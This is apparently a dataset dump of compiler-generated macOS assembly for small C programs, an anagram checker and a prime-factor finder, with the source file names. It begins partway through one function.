cmpb $0, -2085(%rbp)
je LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movsbq -2085(%rbp), %rax
movl -1040(%rbp,%rax,4), %ecx
addl $1, %ecx
movl %ecx, -1040(%rbp,%rax,4)
movl -2084(%rbp), %eax
addl $1, %eax
movl %eax, -2084(%rbp)
movq -2072(%rbp), %rax
movslq -2084(%rbp), %rcx
movb (%rax,%rcx), %al
movb %al, -2085(%rbp)
jmp LBB1_1
LBB1_3:
leaq -2064(%rbp), %rdi
movl $256, %esi ## imm = 0x100
callq _reset
movl $0, -2084(%rbp)
movq -2080(%rbp), %rax
movb (%rax), %al
movb %al, -2085(%rbp)
LBB1_4: ## =>This Inner Loop Header: Depth=1
cmpb $0, -2085(%rbp)
je LBB1_6
## %bb.5: ## in Loop: Header=BB1_4 Depth=1
movsbq -2085(%rbp), %rax
movl -2064(%rbp,%rax,4), %ecx
addl $1, %ecx
movl %ecx, -2064(%rbp,%rax,4)
movl -2084(%rbp), %eax
addl $1, %eax
movl %eax, -2084(%rbp)
movq -2080(%rbp), %rax
movslq -2084(%rbp), %rcx
movb (%rax,%rcx), %al
movb %al, -2085(%rbp)
jmp LBB1_4
LBB1_6:
movl $0, -2084(%rbp)
movl $0, -2092(%rbp)
LBB1_7: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $256, -2084(%rbp) ## imm = 0x100
movb %al, -2093(%rbp) ## 1-byte Spill
jge LBB1_9
## %bb.8: ## in Loop: Header=BB1_7 Depth=1
cmpl $0, -2092(%rbp)
sete %al
movb %al, -2093(%rbp) ## 1-byte Spill
LBB1_9: ## in Loop: Header=BB1_7 Depth=1
movb -2093(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_10
jmp LBB1_13
LBB1_10: ## in Loop: Header=BB1_7 Depth=1
movslq -2084(%rbp), %rax
movl -1040(%rbp,%rax,4), %eax
movslq -2084(%rbp), %rcx
cmpl -2064(%rbp,%rcx,4), %eax
je LBB1_12
## %bb.11: ## in Loop: Header=BB1_7 Depth=1
movl $1, -2092(%rbp)
LBB1_12: ## in Loop: Header=BB1_7 Depth=1
movl -2084(%rbp), %eax
addl $1, %eax
movl %eax, -2084(%rbp)
jmp LBB1_7
LBB1_13:
cmpl $0, -2092(%rbp)
setne %al
xorb $-1, %al
andb $1, %al
movzbl %al, %eax
movl %eax, -2100(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_15
## %bb.14:
movl -2100(%rbp), %eax ## 4-byte Reload
addq $2112, %rsp ## imm = 0x840
popq %rbp
retq
LBB1_15:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $2048, %rsp ## imm = 0x800
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -2036(%rbp)
leaq -1024(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
leaq -2032(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
leaq -1024(%rbp), %rdi
leaq -2032(%rbp), %rsi
callq _anagramma
movl %eax, -2040(%rbp)
movl -2040(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_2
## %bb.1:
xorl %eax, %eax
addq $2048, %rsp ## imm = 0x800
popq %rbp
retq
LBB2_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/225142747.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/324565.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
mov w8, #2
stur w8, [x29, #-8]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_4 Depth 2
ldur w8, [x29, #-8]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_14
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldur w10, [x29, #-8]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_12
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #12]
mov w8, #2
stur w8, [x29, #-12]
b LBB0_4
LBB0_4: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
mov w10, #2
sdiv w9, w9, w10
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_9
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=2
ldur w8, [x29, #-8]
ldur w10, [x29, #-12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #12]
b LBB0_9
LBB0_7: ; in Loop: Header=BB0_4 Depth=2
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_4 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_4
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_1
LBB0_14:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n Please Enter any number to Find Factors : "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "\n %d is a Prime Factor "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
movl $2, -8(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_4 Depth 2
movl -8(%rbp), %eax
cmpl -16(%rbp), %eax
jg LBB0_14
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
cltd
idivl -8(%rbp)
cmpl $0, %edx
jne LBB0_12
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl $1, -20(%rbp)
movl $2, -12(%rbp)
LBB0_4: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -24(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_9
## %bb.5: ## in Loop: Header=BB0_4 Depth=2
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
cmpl $0, %edx
jne LBB0_7
## %bb.6: ## in Loop: Header=BB0_1 Depth=1
movl $0, -20(%rbp)
jmp LBB0_9
LBB0_7: ## in Loop: Header=BB0_4 Depth=2
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_4 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_4
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
cmpl $1, -20(%rbp)
jne LBB0_11
## %bb.10: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_12
LBB0_12: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_13
LBB0_13: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_14:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n Please Enter any number to Find Factors : "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "\n %d is a Prime Factor "
.subsections_via_symbols
| the_stack_data/104829141.c |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.